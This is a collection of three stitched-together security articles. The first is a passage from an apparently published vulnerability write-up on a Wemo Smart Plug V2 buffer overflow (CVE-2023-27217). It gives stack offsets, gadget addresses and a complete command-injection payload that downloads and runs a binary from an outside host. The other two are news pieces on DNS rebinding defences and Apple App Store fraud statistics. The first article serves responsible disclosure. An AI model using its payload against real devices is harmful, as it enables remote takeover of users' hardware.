For example, the image below shows a corruption of the metadata with bytes from the illegal ‘FriendlyName’. Note the values in the last mchunk, with the **next** pointer spelling “cdef” (0x66656463), **prev** spelling “ghij” (0x6a696867), etc.

Another thing we noticed was that, because of ASLR (Address Space Layout Randomization), the library was loading at a different location after every crash, which interfered with our testing. To deal with the situation, we temporarily disabled ASLR using:

\`# echo 0 > /proc/sys/kernel/randomize\_va\_space\`

As soon as we did, the SIGSEGV crashes of the heap stopped. Instead, when we passed an 80-character long ‘FriendlyName’ using name[:80] as shown below, we got a crash in the memory stack.

The crash occurred at the 0x6e6d6c6b address—“klmn” in little-endian, characters \[76: 80\] of our ‘FriendlyName’. Meaning we have achieved some predictability and measure of control over the program flow.

This crash was a result of an unsafe call to strcpy() function from a buffer containing our ‘FriendlyName’ into the wemoStateUpdate() function in **wemo\_ctrl** executable. The stack buffer size of 0x44 (68 in decimal) was why names longer than 68 characters would cause a crash.

Immediately after the buffer, we could see the **$s0** register at an offset of \[68:72\], followed by the frame pointer **$fp** at an offset of \[72:76\], and then the return address **$ra** at an offset of \[76:80\].

As established above, the **$pc** was pointing to **$ra** (“klnm”) and there was no stack canary. Strike three.

It should be noted that the destination of the strcpy() function is not at the beginning of the FriendlyName buffer, but 4 bytes after the beginning of this buffer due to this opcode:

0x407530: addiu $v1, 4

This is why there were 0x44 bytes before the overflow onto the saved registers and not 0x48.

**The Exploit: Using ‘FriendlyName’ for Remote Command Injection**

After proving that we could cause a buffer overflow and control the resulting memory re-allocation, our next step was to see if we could exploit the vulnerability.

For that, we focused our efforts on the **wemo\_ctrl** executable because it was consistently loaded in the same address, even with ASLR turned on, unlike other libraries.

Our approach was to use a binary exploitation technique called ROP chains. The idea was that repeated attack attempts—even with ASLR being on—would lead to some instances in which we could cause a stack overflow without the heap corruption, crashing the process first.

The fact that **wemo\_ctrl** automatically restarted after every crash supported this approach, allowing us to keep trying again and again. The only downside was a ~10-second long period after the crash during which the UPnP interface was not responsive, which translated into a short delay between each of the “attack” attempts. However, this crash would be completely unnoticeable to the user in a real-world attack scenario.

Still, we had to deal with some limitations:

1.  The first issue is that the **wemo\_ctrl** loading address is in the low range of 0x00400000 to 0x00413000. Since we had to rely on the strcpy() for payload delivery, we were limited by the null terminator for the exploit. This meant that the null terminator had to be the most significant byte (MSB) of the return address at the end of our payload. As a result, we can only use one ROP gadget on the current stack, and the whole payload has to be 80 bytes or less.
2.  The second issue relates to the characters we can use in the payload. This is due to the limitations enforced by the UPnP library and the XML parser that our input goes through before reaching **wemoStateUpdate**. For example, we found that all bytes from 0x80 and above are not accepted, as well as some special characters like & or <. For our purposes, we had to treat this as some sort of unintended/partial input sanitization.
3.  Finally, we had to call the single chain with very limited control of registers— only **$s0**, **$fp**, or **$r**a. We still didn’t know where exactly our stack was because the overflow happened on a new secondary thread created to handle ChangeFriendlyName UPnP calls. In other words, even with ASLR disabled, there appear to be about 8-16 different possible **$sp** values we could encounter. We noticed in practice they were always some small multiple of 0x200000 apart from each other.

With the above in mind, we crafted the following payload and used it to make a call to system(), in **wemo\_ctrl**, in a function we named delete_dir():

;wget http://192.168.1.52:8080/r;chmod +x r;./r 192.168.1.52 4444# XK6w|I6wh:@

Our goal was to reach the call to **system** in address 0x403A90, with control over **$a0** or **$v0**, which both had NULL values when returned from **wemoStateUpdate**.

However, considering the 80-character limit, we could only jump as high as the 0x403A7C address. So we have to call the snprintf() first. Then, leaving $a0 as NULL is still a problem because then snprintf() would crash with a SEGFAULT, since the function’s first argument is the destination buffer. That means that instead, we have to return to an even earlier address: 0x403A68, highlighted in the image above. That’s the latest location for us to gain control of **$a0**.

There, conveniently for us, we noted that the format string of the snprintf() enabled a command injection (note the rm -rf %s at the 0x403A78 address in the image above).

The plan was to exploit this command injection by pointing the **$a0** register to the ‘FriendlyName’ payload as the snprintf() function was called. So while the payload started with the injection itself (wget http://192.168.1.52…) the rest of it was meant to shape the registers in a way that would cause this sequence to occur, like so:

*   **$a3** would contain the address of our FriendlyName. As shown in the image above, at 0x403A7C, it got the address from **$fp**, with the offset of 0x220.
*   **$s0** would be set by the payload to the stack address at the beginning of the FriendlyName. The fact that it would be saved to the **$s0** register is a non-important byproduct. The important part here is that the address would be stored in some location on the stack so that we can load it from there into $a3 at 0x403A7C.
*   **$fp** will be modified and set to 0x220 less than the stack address in $s0, to compensate for offset in 0x403A7C.
*   **$ra** would also be modified to 0x403A68, to run the injection (the h:@ at the tail end of the payload).

The screenshots below show how this all comes together:

Or alternatively…

It should be noted that the values in **$f**p and **$s0** represent our guesstimate of the stack address for the _FriendlyName_ and in the screenshot above, we guessed wrong. However, getting to the actual address (with ASLR turned off) would require a very minimal measure of trial-and-error due to the very limited (8 to 16) number of options.

Even with ALSR on, however, we believe that it would be possible to brute-force our way to the correct address and exploit the vulnerability, especially since the only side effect of a wrong guess would be a very brief and transparent crash.

**Disclosure Timeline and Security Advisory**

*   On January 9th, 2023, we disclosed the vulnerability to Belkin via Bugcrowd.
*   On February 22nd, Belkin replied that the device is at the end of its life and, as a result, the vulnerability will not be addressed.
*   Following some additional back-and-forth on March 14, we informed MITRE of the vulnerability, leading to them issuing CVE-2023-27217.

Since there will be no patch to address this issue, we recommend the following:

1.  Avoid exposing the Wemo Smart Plug V2 UPNP ports to the internet, either directly or via port forwarding.
2.  If you are using the Smart Plug V2 in a sensitive network, you should ensure that it is properly segmented, and that device cannot communicate with other sensitive devices on the same subnet.

**Note:** While this wasn’t in the scope of our research, from what we have gathered, it appears that this vulnerability could be triggered via the Cloud interface (meaning, without a direct connection to the device).

This further highlights the need for the abovementioned steps, as the Wemo Cloud infrastructure could be used as a potential attack vector.

CVE-2023-27217: ‘FriendlyName’ Buffer Overflow Vulnerability in Wemo Smart Plug V2 | Sternum

DNS rebinding attacks are not often seen in the wild, which is one reason why browser makers have taken a slower approach to adopting the web security standard.

Browser companies and network-security vendors have created a variety of defenses for the three-decades-old attack technique known as DNS rebinding, but protection remains spotty due to uneven acceptance and updated exploitation techniques.

DNS rebinding — which allows external malicious sites visited by an unsuspecting victim to access internal servers and services —is similar to cross-site request forgery, where an attacker can use a JavaScript component or Java applet to request resources from another site or network. DNS rebinding typically works by attracting a user to a malicious website and using the site's content and a short time-to-live (TTL) to force the browser to send a new domain name system (DNS) request, to which the attacker's site responds with an internal network IP address. The attack essentially allows an attacker to use a victim's browser to send requests to servers and devices on the internal network.

The attack, however, can be made harder to execute with a variety of defenses, including enforcing the Same-Origin Policy by pinning the domain name in the browser, looking for anomalous requests through the targeted user's DNS service, and adopting Local Network Access, a proposed Web security standard by the World Wide Web Consortium (W3C) that blocks DNS-based attacks. While these defenses work to make DNS rebinding attacks more difficult, they can be bypassed under some circumstances, NCC Group said in a recent report.

Because DNS rebinding exposes the attack surfaces of internal Web applications to malicious websites, the attack could be useful against enterprise targets as a way to gain access to credential data and resources hosted on internal networks, says Zhanhao Chen, a principal researcher for network security at Palo Alto Networks.

"In the real world, the attacker can build a website with a DNS rebinding script and trick the victim to open it in their browser," he says. "Once the malicious website is open on an employee's browser, the attacker can manipulate or steal information from internal Web applications that are vulnerable."

**DNS Rebinding Attacks Face Difficult Defenses**

Every browser does some form of DNS pinning, preventing the assigning of new network addresses for a specific website or host name for a certain time period, such as an hour. DNS-based security services, such as Cisco's Umbrella, also prevent anomalous changes in DNS data using suspicious response filters, which identify potential attacks and stop them.

The W3C's Local Network Access spec, previously called "Private Network Access," places a barriers between global, local, and internal addresses, such as the loopback address for the local host, and forces services to gain permission to explicitly access the local network.

In the latest analysis published by NCC Group, however, Roger Meyer, a technical director at NCC Group, argues that the defenses still are not complete. Using the 0.0.0.0 address, which can access Linux and Mac OS systems' internal IP address, for example, bypasses the current Local Network Access protections, Meyer says.

"Usually, that specific 0.0.0.0 IP address is non-routable and should not work as an IP address. You should not be able to even use it for accessing anything, but it just works on Mac OS and Linux devices," he says.

NCC Group opened up a bug report with Google, an early adopter of the Local Network Access specification, to get the issue fixed in the Chromium codebase, Meyer says.

**Bolstering Defenses**

DNS rebinding attacks are not often seen in the wild, which is one reason why browser makers have taken a slower approach to mitigating the issue. Another is that companies do not want to break internal applications, whose developers may rely on the ability to handle cross-origin requests.

If Web application developers adopt the HTTPS encrypted Web protocols as a general rule, they can prevent their applications from being used in a DNS rebinding attack, says Palo Alto Networks' Chen.

"This kind of mitigation depends on the developer of internal services, \[so\] it is not scalable," he says. "As third-party Web applications populate in both home and enterprise environments, it's more difficult for the network owners to identify and fix all potentially vulnerable servers."

While DNS rebinding is not as common as other widely spread threats, such as DNS tunneling, domain-generation algorithms, DNS amplification denial-of-service attacks, and DNS hijacking, many Web applications remain vulnerable to DNS rebinding, and attackers are actively exploiting it, Chen says. Palo Alto Networks noted that seven DNS-binding-related CVEs were released in 2021 and nine in 2022, and the company continues to see attack traffic in the wild.

Companies can help bolster their defenses by using DNS services that detect attacks and help remote employees protect their at-home environments. Because an attacker needs to either know information about the victim's environment or know they are using common devices or applications, those common services should be hardened against attack, NCC Group's Meyer says.

"There are ways to discover if there are vulnerable services on the network or on employee devices, so the company could scan the network to find those vulnerable services," he says. "There are intrusion detection systems or other kinds of security software that can look for services listening on developer machines or any other employees' systems, and any services that are listening on a localhost are potentially vulnerable to DNS rebinding."

Rebinding Attacks Persist With Spotty Browser Defenses

The mobile phone and MacBook giant also rejected nearly 1.7 million app submissions last year in an effort to root out malware and fraud.

The Apple App Store supports more than 36 million registered Apple developers, but not all of those coding partners are benign. In a report on App Store safety this week, the computing giant noted that last year it booted nearly a half-million (428,000) developer accounts from the platform for carrying out fraud and abuse.

Apple said that in all, it prevented more than $2 billion in potentially fraudulent transactions in 2022, rejecting nearly 1.7 million app submissions for privacy violations, spammy or misleading features, or containing hidden or undocumented capabilities.

It also dismantled 282 million customer accounts for fraud and blocked nearly 105,000 Apple Developer Program enrollments for suspected malicious activities before they could submit apps to the App Store. And it detected and blocked more than 147 million fraudulent ratings and reviews.

**Enterprise App Bust**

On a separate note, in the last 30 days, Apple said that it blocked close to 3.9 million attempts to install or launch apps distributed illicitly through the Developer Enterprise Program, which allows large organizations to deploy internal apps for use by employees.

"Apple performs a number of safety checks on every app before it makes its way onto the App Store," the mobile behemoth noted in its App Store misuse report. "On average, the team reviews over 100,000 app submissions a week, with nearly 90 percent of them receiving a review within 24 hours."

The stats come hard on the heels of a similar report from Google, in which it said it banned 173,000 developer accounts from Google Play in 2022.

Despite best efforts, both Apple and Google have wrestled with malicious apps making their way into their official app stores. Cybercriminals are constantly improving their tactics, including submitting benign apps to make it past filters, which they update later with malicious functionality. App stores catch up to such tricks eventually (Google has implemented AI patrols, for instance), but it continues to be a game of whack-a-mole to root out the offenders.

"Apple's work to keep the App Store a safe and trusted place for users and developers is never done," Apple asserted in its report. "As bad actors evolve their dishonest tactics and methods of deception, Apple supplements its antifraud initiatives with feedback gleaned from a myriad of channels — from news stories to social media to AppleCare calls — and will continue to develop new approaches and tools designed to prevent fraud from harming App Store users and developers."

Tag

#apple